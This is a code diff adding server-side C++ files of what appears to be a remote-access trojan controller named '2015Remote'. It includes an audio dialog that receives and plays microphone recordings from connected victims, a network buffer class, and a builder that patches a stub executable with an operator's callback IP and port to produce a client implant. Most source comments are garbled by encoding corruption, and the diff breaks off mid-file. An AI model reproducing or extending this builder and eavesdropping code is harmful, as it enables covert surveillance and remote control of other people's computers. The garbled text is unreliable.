|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#if !defined(AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_)
|
||||||
|
#define AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_
|
||||||
|
|
||||||
|
#if _MSC_VER > 1000
|
||||||
|
#pragma once
|
||||||
|
#endif // _MSC_VER > 1000
|
||||||
|
#include <MMSYSTEM.H>
|
||||||
|
#include <MMReg.h>
|
||||||
|
|
||||||
|
|
||||||
|
class CAudio
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
CAudio();
|
||||||
|
virtual ~CAudio();
|
||||||
|
GSM610WAVEFORMAT m_GSMWavefmt;
|
||||||
|
ULONG m_ulBufferLength;
|
||||||
|
LPWAVEHDR m_InAudioHeader[2]; //<2F><><EFBFBD><EFBFBD>ͷ
|
||||||
|
LPBYTE m_InAudioData[2]; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
HANDLE m_hEventWaveIn;
|
||||||
|
HANDLE m_hStartRecord; //<2F><><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD>
|
||||||
|
HWAVEIN m_hWaveIn; //<2F>豸<EFBFBD><E8B1B8><EFBFBD><EFBFBD>
|
||||||
|
DWORD m_nWaveInIndex;
|
||||||
|
bool m_hThreadCallBack;
|
||||||
|
static DWORD WINAPI waveInCallBack(LPVOID lParam); //<2F><><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD>ض<EFBFBD>
|
||||||
|
LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize);
|
||||||
|
BOOL CAudio::InitializeWaveIn();
|
||||||
|
BOOL m_bIsWaveInUsed;
|
||||||
|
|
||||||
|
HWAVEOUT m_hWaveOut;
|
||||||
|
BOOL m_bExit;
|
||||||
|
BOOL m_bIsWaveOutUsed;
|
||||||
|
DWORD m_nWaveOutIndex;
|
||||||
|
LPWAVEHDR m_OutAudioHeader[2]; //<2F><><EFBFBD><EFBFBD>ͷ
|
||||||
|
LPBYTE m_OutAudioData[2]; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize);
|
||||||
|
BOOL CAudio::InitializeWaveOut();
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif // !defined(AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_)
|
||||||
125
server/2015Remote/AudioDlg.cpp
Normal file
125
server/2015Remote/AudioDlg.cpp
Normal file
@@ -0,0 +1,125 @@
|
|||||||
|
// AudioDlg.cpp : ʵ<><CAB5><EFBFBD>ļ<EFBFBD>
|
||||||
|
//
|
||||||
|
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "2015Remote.h"
|
||||||
|
#include "AudioDlg.h"
|
||||||
|
#include "afxdialogex.h"
|
||||||
|
|
||||||
|
|
||||||
|
// CAudioDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||||
|
|
||||||
|
IMPLEMENT_DYNAMIC(CAudioDlg, CDialog)
|
||||||
|
|
||||||
|
CAudioDlg::CAudioDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject)
|
||||||
|
: CDialog(CAudioDlg::IDD, pParent)
|
||||||
|
, m_bSend(FALSE)
|
||||||
|
{
|
||||||
|
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_ICON_AUDIO)); //<2F><><EFBFBD><EFBFBD>ͼ<EFBFBD><CDBC>
|
||||||
|
m_bIsWorking = TRUE;
|
||||||
|
m_iocpServer = IOCPServer; //Ϊ<><CEAA><EFBFBD>ij<EFBFBD>Ա<EFBFBD><D4B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ
|
||||||
|
m_ContextObject = ContextObject;
|
||||||
|
m_hWorkThread = NULL;
|
||||||
|
m_nTotalRecvBytes = 0;
|
||||||
|
sockaddr_in ClientAddress;
|
||||||
|
memset(&ClientAddress, 0, sizeof(ClientAddress)); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ض<EFBFBD>ip
|
||||||
|
int iClientAddressLen = sizeof(ClientAddress);
|
||||||
|
BOOL bResult = getpeername(m_ContextObject->sClientSocket,(SOCKADDR*)&ClientAddress, &iClientAddressLen);
|
||||||
|
|
||||||
|
m_strIPAddress = bResult != INVALID_SOCKET ? inet_ntoa(ClientAddress.sin_addr) : "";
|
||||||
|
}
|
||||||
|
|
||||||
|
CAudioDlg::~CAudioDlg()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
void CAudioDlg::DoDataExchange(CDataExchange* pDX)
|
||||||
|
{
|
||||||
|
CDialog::DoDataExchange(pDX);
|
||||||
|
DDX_Check(pDX, IDC_CHECK, m_bSend);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
BEGIN_MESSAGE_MAP(CAudioDlg, CDialog)
|
||||||
|
ON_WM_CLOSE()
|
||||||
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
|
||||||
|
// CAudioDlg <20><>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
|
||||||
|
BOOL CAudioDlg::OnInitDialog()
|
||||||
|
{
|
||||||
|
CDialog::OnInitDialog();
|
||||||
|
|
||||||
|
SetIcon(m_hIcon,FALSE);
|
||||||
|
|
||||||
|
CString strString;
|
||||||
|
strString.Format("%s - <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", m_strIPAddress);
|
||||||
|
SetWindowText(strString);
|
||||||
|
|
||||||
|
BYTE bToken = COMMAND_NEXT;
|
||||||
|
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
|
||||||
|
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD> <20>ж<EFBFBD>CheckBox
|
||||||
|
m_hWorkThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL);
|
||||||
|
|
||||||
|
return TRUE; // return TRUE unless you set the focus to a control
|
||||||
|
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD CAudioDlg::WorkThread(LPVOID lParam)
|
||||||
|
{
|
||||||
|
CAudioDlg *This = (CAudioDlg *)lParam;
|
||||||
|
|
||||||
|
while (This->m_bIsWorking)
|
||||||
|
{
|
||||||
|
if (!This->m_bSend)
|
||||||
|
{
|
||||||
|
Sleep(1000);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
DWORD dwBufferSize = 0;
|
||||||
|
LPBYTE szBuffer = This->m_AudioObject.GetRecordBuffer(&dwBufferSize); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
if (szBuffer != NULL && dwBufferSize > 0)
|
||||||
|
This->m_iocpServer->OnClientPreSending(This->m_ContextObject, szBuffer, dwBufferSize); //û<><C3BB><EFBFBD><EFBFBD>Ϣͷ
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CAudioDlg::OnReceiveComplete(void)
|
||||||
|
{
|
||||||
|
m_nTotalRecvBytes += m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; //1000+ =1000 1
|
||||||
|
CString strString;
|
||||||
|
strString.Format("Receive %d KBytes", m_nTotalRecvBytes / 1024);
|
||||||
|
SetDlgItemText(IDC_TIP, strString);
|
||||||
|
switch (m_ContextObject->InDeCompressedBuffer.GetBuffer(0)[0])
|
||||||
|
{
|
||||||
|
case TOKEN_AUDIO_DATA:
|
||||||
|
{
|
||||||
|
|
||||||
|
m_AudioObject.PlayBuffer(m_ContextObject->InDeCompressedBuffer.GetBuffer(1),
|
||||||
|
m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1); //<2F><><EFBFBD>Ų<EFBFBD><C5B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
default:
|
||||||
|
// <20><><EFBFBD>䷢<EFBFBD><E4B7A2><EFBFBD>쳣<EFBFBD><ECB3A3><EFBFBD><EFBFBD>
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void CAudioDlg::OnClose()
|
||||||
|
{
|
||||||
|
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC>ֵ
|
||||||
|
|
||||||
|
m_ContextObject->v1 = 0;
|
||||||
|
CancelIo((HANDLE)m_ContextObject->sClientSocket);
|
||||||
|
closesocket(m_ContextObject->sClientSocket);
|
||||||
|
|
||||||
|
m_bIsWorking = FALSE;
|
||||||
|
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||||
|
CDialog::OnClose();
|
||||||
|
delete this;
|
||||||
|
}
|
||||||
38
server/2015Remote/AudioDlg.h
Normal file
38
server/2015Remote/AudioDlg.h
Normal file
@@ -0,0 +1,38 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include "IOCPServer.h"
|
||||||
|
#include "Audio.h"
|
||||||
|
|
||||||
|
// CAudioDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||||
|
|
||||||
|
class CAudioDlg : public CDialog
|
||||||
|
{
|
||||||
|
DECLARE_DYNAMIC(CAudioDlg)
|
||||||
|
|
||||||
|
public:
|
||||||
|
CAudioDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||||
|
virtual ~CAudioDlg();
|
||||||
|
CONTEXT_OBJECT* m_ContextObject;
|
||||||
|
IOCPServer* m_iocpServer;
|
||||||
|
HICON m_hIcon;
|
||||||
|
CString m_strIPAddress;
|
||||||
|
DWORD m_nTotalRecvBytes;
|
||||||
|
BOOL m_bIsWorking;
|
||||||
|
HANDLE m_hWorkThread;
|
||||||
|
CAudio m_AudioObject;
|
||||||
|
|
||||||
|
static DWORD CAudioDlg::WorkThread(LPVOID lParam);
|
||||||
|
|
||||||
|
void CAudioDlg::OnReceiveComplete(void);
|
||||||
|
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
enum { IDD = IDD_DIALOG_AUDIO };
|
||||||
|
|
||||||
|
protected:
|
||||||
|
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<><D6A7>
|
||||||
|
|
||||||
|
DECLARE_MESSAGE_MAP()
|
||||||
|
public:
|
||||||
|
BOOL m_bSend;
|
||||||
|
virtual BOOL OnInitDialog();
|
||||||
|
afx_msg void OnClose();
|
||||||
|
};
|
||||||
190
server/2015Remote/Buffer.cpp
Normal file
190
server/2015Remote/Buffer.cpp
Normal file
@@ -0,0 +1,190 @@
|
|||||||
|
#include "StdAfx.h"
|
||||||
|
#include "Buffer.h"
|
||||||
|
|
||||||
|
#include <math.h>
|
||||||
|
|
||||||
|
|
||||||
|
#define U_PAGE_ALIGNMENT 3
|
||||||
|
#define F_PAGE_ALIGNMENT 3.0
|
||||||
|
CBuffer::CBuffer(void)
|
||||||
|
{
|
||||||
|
m_ulMaxLength = 0;
|
||||||
|
|
||||||
|
m_Ptr = m_Base = NULL;
|
||||||
|
|
||||||
|
InitializeCriticalSection(&m_cs);
|
||||||
|
}
|
||||||
|
|
||||||
|
CBuffer::~CBuffer(void)
|
||||||
|
{
|
||||||
|
if (m_Base)
|
||||||
|
{
|
||||||
|
VirtualFree(m_Base, 0, MEM_RELEASE);
|
||||||
|
m_Base = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
DeleteCriticalSection(&m_cs);
|
||||||
|
|
||||||
|
m_Base = m_Ptr = NULL;
|
||||||
|
m_ulMaxLength = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
ULONG CBuffer::RemoveComletedBuffer(ULONG ulLength)
|
||||||
|
{
|
||||||
|
if (ulLength >GetBufferMaxLength()) //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ij<EFBFBD><C4B3>ȱ<EFBFBD><C8B1>ڴ<EFBFBD><DAB4>ij<EFBFBD><C4B3>Ȼ<EFBFBD><C8BB><EFBFBD>
|
||||||
|
{
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
if (ulLength >GetBufferLength()) //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ij<EFBFBD><C4B3><EFBFBD> <20><><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3>Ȼ<EFBFBD><C8BB><EFBFBD>
|
||||||
|
{
|
||||||
|
ulLength = GetBufferLength();
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ulLength)
|
||||||
|
{
|
||||||
|
MoveMemory(m_Base,m_Base+ulLength,GetBufferMaxLength() - ulLength); //<2F><><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0> [Shinexxxx??]
|
||||||
|
|
||||||
|
m_Ptr -= ulLength;
|
||||||
|
}
|
||||||
|
|
||||||
|
DeAllocateBuffer(GetBufferLength());
|
||||||
|
|
||||||
|
return ulLength;
|
||||||
|
}
|
||||||
|
|
||||||
|
ULONG CBuffer::ReadBuffer(PBYTE Buffer, ULONG ulLength)
|
||||||
|
{
|
||||||
|
EnterCriticalSection(&m_cs);
|
||||||
|
|
||||||
|
if (ulLength > GetBufferMaxLength())
|
||||||
|
{
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
if (ulLength > GetBufferLength())
|
||||||
|
{
|
||||||
|
ulLength = GetBufferLength();
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ulLength)
|
||||||
|
{
|
||||||
|
CopyMemory(Buffer,m_Base,ulLength);
|
||||||
|
|
||||||
|
MoveMemory(m_Base,m_Base+ulLength,GetBufferMaxLength() - ulLength);
|
||||||
|
m_Ptr -= ulLength;
|
||||||
|
}
|
||||||
|
|
||||||
|
DeAllocateBuffer(GetBufferLength());
|
||||||
|
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
return ulLength;
|
||||||
|
}
|
||||||
|
|
||||||
|
ULONG CBuffer::DeAllocateBuffer(ULONG ulLength)
|
||||||
|
{
|
||||||
|
if (ulLength < GetBufferLength())
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
ULONG ulNewMaxLength = (ULONG)ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
|
||||||
|
|
||||||
|
if (GetBufferMaxLength() <= ulNewMaxLength)
|
||||||
|
{
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
|
||||||
|
|
||||||
|
ULONG ulv1 = GetBufferLength(); //<2F><>ԭ<EFBFBD><D4AD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD><EFBFBD>
|
||||||
|
CopyMemory(NewBase,m_Base,ulv1);
|
||||||
|
|
||||||
|
VirtualFree(m_Base,0,MEM_RELEASE);
|
||||||
|
|
||||||
|
m_Base = NewBase;
|
||||||
|
|
||||||
|
m_Ptr = m_Base + ulv1;
|
||||||
|
|
||||||
|
m_ulMaxLength = ulNewMaxLength;
|
||||||
|
|
||||||
|
return m_ulMaxLength;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
BOOL CBuffer::WriteBuffer(PBYTE Buffer, ULONG ulLength)
|
||||||
|
{
|
||||||
|
EnterCriticalSection(&m_cs);
|
||||||
|
|
||||||
|
if (ReAllocateBuffer(ulLength + GetBufferLength()) == -1)//10 +1 1024
|
||||||
|
{
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
CopyMemory(m_Ptr,Buffer,ulLength);//Hello 5
|
||||||
|
|
||||||
|
m_Ptr+=ulLength;
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
ULONG CBuffer::ReAllocateBuffer(ULONG ulLength)
|
||||||
|
{
|
||||||
|
if (ulLength < GetBufferMaxLength())
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
ULONG ulNewMaxLength = (ULONG)ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
|
||||||
|
PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
|
||||||
|
if (NewBase == NULL)
|
||||||
|
{
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
ULONG ulv1 = GetBufferLength(); //ԭ<>ȵ<EFBFBD><C8B5><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
||||||
|
CopyMemory(NewBase,m_Base,ulv1);
|
||||||
|
|
||||||
|
if (m_Base)
|
||||||
|
{
|
||||||
|
VirtualFree(m_Base,0,MEM_RELEASE);
|
||||||
|
}
|
||||||
|
m_Base = NewBase;
|
||||||
|
m_Ptr = m_Base + ulv1; //1024
|
||||||
|
|
||||||
|
m_ulMaxLength = ulNewMaxLength; //2048
|
||||||
|
|
||||||
|
return m_ulMaxLength;
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID CBuffer::ClearBuffer()
|
||||||
|
{
|
||||||
|
EnterCriticalSection(&m_cs);
|
||||||
|
m_Ptr = m_Base;
|
||||||
|
|
||||||
|
DeAllocateBuffer(1024);
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
}
|
||||||
|
|
||||||
|
ULONG CBuffer::GetBufferLength() //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
||||||
|
{
|
||||||
|
if (m_Base == NULL)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
return (ULONG)m_Ptr - (ULONG)m_Base;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
ULONG CBuffer::GetBufferMaxLength()
|
||||||
|
{
|
||||||
|
return m_ulMaxLength;
|
||||||
|
}
|
||||||
|
|
||||||
|
PBYTE CBuffer::GetBuffer(ULONG ulPos)
|
||||||
|
{
|
||||||
|
if (m_Base==NULL)
|
||||||
|
{
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
if (ulPos>=GetBufferLength())
|
||||||
|
{
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
return m_Base+ulPos;
|
||||||
|
}
|
||||||
27
server/2015Remote/Buffer.h
Normal file
27
server/2015Remote/Buffer.h
Normal file
@@ -0,0 +1,27 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <Windows.h>
|
||||||
|
|
||||||
|
class CBuffer
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
CBuffer(void);
|
||||||
|
~CBuffer(void);
|
||||||
|
|
||||||
|
ULONG CBuffer::GetBufferMaxLength();
|
||||||
|
ULONG CBuffer::ReadBuffer(PBYTE Buffer, ULONG ulLength);
|
||||||
|
ULONG CBuffer::GetBufferLength(); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>;
|
||||||
|
ULONG CBuffer::DeAllocateBuffer(ULONG ulLength);
|
||||||
|
VOID CBuffer::ClearBuffer();
|
||||||
|
ULONG CBuffer::ReAllocateBuffer(ULONG ulLength);
|
||||||
|
BOOL CBuffer::WriteBuffer(PBYTE Buffer, ULONG ulLength);
|
||||||
|
PBYTE CBuffer::GetBuffer(ULONG ulPos=0);
|
||||||
|
ULONG CBuffer::RemoveComletedBuffer(ULONG ulLength);
|
||||||
|
VOID CBuffer::ReleaseMember();
|
||||||
|
VOID CBuffer::InitMember();
|
||||||
|
|
||||||
|
protected:
|
||||||
|
PBYTE m_Base;
|
||||||
|
PBYTE m_Ptr;
|
||||||
|
ULONG m_ulMaxLength;
|
||||||
|
CRITICAL_SECTION m_cs;
|
||||||
|
};
|
||||||
135
server/2015Remote/BuildDlg.cpp
Normal file
135
server/2015Remote/BuildDlg.cpp
Normal file
@@ -0,0 +1,135 @@
|
|||||||
|
// BuildDlg.cpp : ʵ<><CAB5><EFBFBD>ļ<EFBFBD>
|
||||||
|
//
|
||||||
|
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "2015Remote.h"
|
||||||
|
#include "BuildDlg.h"
|
||||||
|
#include "afxdialogex.h"
|
||||||
|
#include <io.h>
|
||||||
|
|
||||||
|
// CBuildDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||||
|
|
||||||
|
IMPLEMENT_DYNAMIC(CBuildDlg, CDialog)
|
||||||
|
|
||||||
|
int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize);
|
||||||
|
|
||||||
|
struct CONNECT_ADDRESS
|
||||||
|
{
|
||||||
|
DWORD dwFlag;
|
||||||
|
char szServerIP[MAX_PATH];
|
||||||
|
int iPort;
|
||||||
|
}g_ConnectAddress={0x1234567,"",0};
|
||||||
|
|
||||||
|
CBuildDlg::CBuildDlg(CWnd* pParent)
|
||||||
|
: CDialog(CBuildDlg::IDD, pParent)
|
||||||
|
, m_strIP(_T(""))
|
||||||
|
, m_strPort(_T(""))
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
CBuildDlg::~CBuildDlg()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
void CBuildDlg::DoDataExchange(CDataExchange* pDX)
|
||||||
|
{
|
||||||
|
CDialog::DoDataExchange(pDX);
|
||||||
|
DDX_Text(pDX, IDC_EDIT_IP, m_strIP);
|
||||||
|
DDX_Text(pDX, IDC_EDIT_PORT, m_strPort);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
BEGIN_MESSAGE_MAP(CBuildDlg, CDialog)
|
||||||
|
ON_BN_CLICKED(IDOK, &CBuildDlg::OnBnClickedOk)
|
||||||
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
|
||||||
|
// CBuildDlg <20><>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
|
||||||
|
void CBuildDlg::OnBnClickedOk()
|
||||||
|
{
|
||||||
|
CFile File;
|
||||||
|
char szTemp[MAX_PATH];
|
||||||
|
ZeroMemory(szTemp,MAX_PATH);
|
||||||
|
CString strCurrentPath;
|
||||||
|
CString strFile;
|
||||||
|
CString strSeverFile;
|
||||||
|
BYTE * szBuffer=NULL;
|
||||||
|
DWORD dwFileSize;
|
||||||
|
UpdateData(TRUE);
|
||||||
|
//////////<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ//////////////////////
|
||||||
|
strcpy(g_ConnectAddress.szServerIP,m_strIP); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP
|
||||||
|
|
||||||
|
g_ConnectAddress.iPort=atoi(m_strPort); //<2F>˿<EFBFBD>
|
||||||
|
if (strlen(m_strIP)==0 || g_ConnectAddress.iPort==0)
|
||||||
|
return;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
//<2F>˴<EFBFBD><CBB4>õ<EFBFBD>δ<EFBFBD><CEB4><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
||||||
|
char path[_MAX_PATH], *p = path;
|
||||||
|
GetModuleFileNameA(NULL, path, sizeof(path));
|
||||||
|
while (*p) ++p;
|
||||||
|
while ('\\' != *p) --p;
|
||||||
|
strcpy(p+1, "TestRun.exe");
|
||||||
|
|
||||||
|
strFile = path; //<2F>õ<EFBFBD><C3B5><EFBFBD>ǰδ<C7B0><CEB4><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
||||||
|
if (_access(path, 0) == -1)
|
||||||
|
{
|
||||||
|
MessageBox("\"TestRun.exe\"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!");
|
||||||
|
return CDialog::OnOK();
|
||||||
|
}
|
||||||
|
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||||
|
File.Open(strFile,CFile::modeRead|CFile::typeBinary);
|
||||||
|
|
||||||
|
dwFileSize=File.GetLength();
|
||||||
|
szBuffer=new BYTE[dwFileSize];
|
||||||
|
ZeroMemory(szBuffer,dwFileSize);
|
||||||
|
//<2F><>ȡ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
File.Read(szBuffer,dwFileSize);
|
||||||
|
File.Close();
|
||||||
|
//д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<49>Ͷ˿<CDB6> <20><>Ҫ<EFBFBD><D2AA>Ѱ<EFBFBD><D1B0>0x1234567<36><37><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶȻ<CAB6><C8BB>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||||||
|
int iOffset = MemoryFind((char*)szBuffer,(char*)&g_ConnectAddress.dwFlag,dwFileSize,sizeof(DWORD));
|
||||||
|
memcpy(szBuffer+iOffset,&g_ConnectAddress,sizeof(g_ConnectAddress));
|
||||||
|
//<2F><><EFBFBD>浽<EFBFBD>ļ<EFBFBD>
|
||||||
|
strcpy(p+1, "ClientDemo.exe");
|
||||||
|
strSeverFile = path;
|
||||||
|
File.Open(strSeverFile,CFile::typeBinary|CFile::modeCreate|CFile::modeWrite);
|
||||||
|
File.Write(szBuffer,dwFileSize);
|
||||||
|
File.Close();
|
||||||
|
delete[] szBuffer;
|
||||||
|
MessageBox("<EFBFBD><EFBFBD><EFBFBD>ɳɹ<EFBFBD>!");
|
||||||
|
}
|
||||||
|
catch (CMemoryException* e)
|
||||||
|
{
|
||||||
|
MessageBox("<EFBFBD>ڴ治<EFBFBD><EFBFBD>!");
|
||||||
|
}
|
||||||
|
catch (CFileException* e)
|
||||||
|
{
|
||||||
|
MessageBox("<EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!");
|
||||||
|
}
|
||||||
|
catch (CException* e)
|
||||||
|
{
|
||||||
|
MessageBox("δ֪<EFBFBD><EFBFBD><EFBFBD><EFBFBD>!");
|
||||||
|
}
|
||||||
|
CDialog::OnOK();
|
||||||
|
}
|
||||||
|
|
||||||
|
int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize)
|
||||||
|
{
|
||||||
|
int i,j;
|
||||||
|
if (iKeySize == 0||iBufferSize==0)
|
||||||
|
{
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
for (i = 0; i < iBufferSize; i++)
|
||||||
|
{
|
||||||
|
for (j = 0; j < iKeySize; j ++)
|
||||||
|
if (szBuffer[i+j] != Key[j]) break; //0x12345678 78 56 34 12
|
||||||
|
if (j == iKeySize) return i;
|
||||||
|
}
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
25
server/2015Remote/BuildDlg.h
Normal file
25
server/2015Remote/BuildDlg.h
Normal file
@@ -0,0 +1,25 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
|
||||||
|
// CBuildDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||||
|
|
||||||
|
class CBuildDlg : public CDialog
|
||||||
|
{
|
||||||
|
DECLARE_DYNAMIC(CBuildDlg)
|
||||||
|
|
||||||
|
public:
|
||||||
|
CBuildDlg(CWnd* pParent = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||||
|
virtual ~CBuildDlg();
|
||||||
|
|
||||||
|
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
enum { IDD = IDD_DIALOG_BUILD };
|
||||||
|
|
||||||
|
protected:
|
||||||
|
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<><D6A7>
|
||||||
|
|
||||||
|
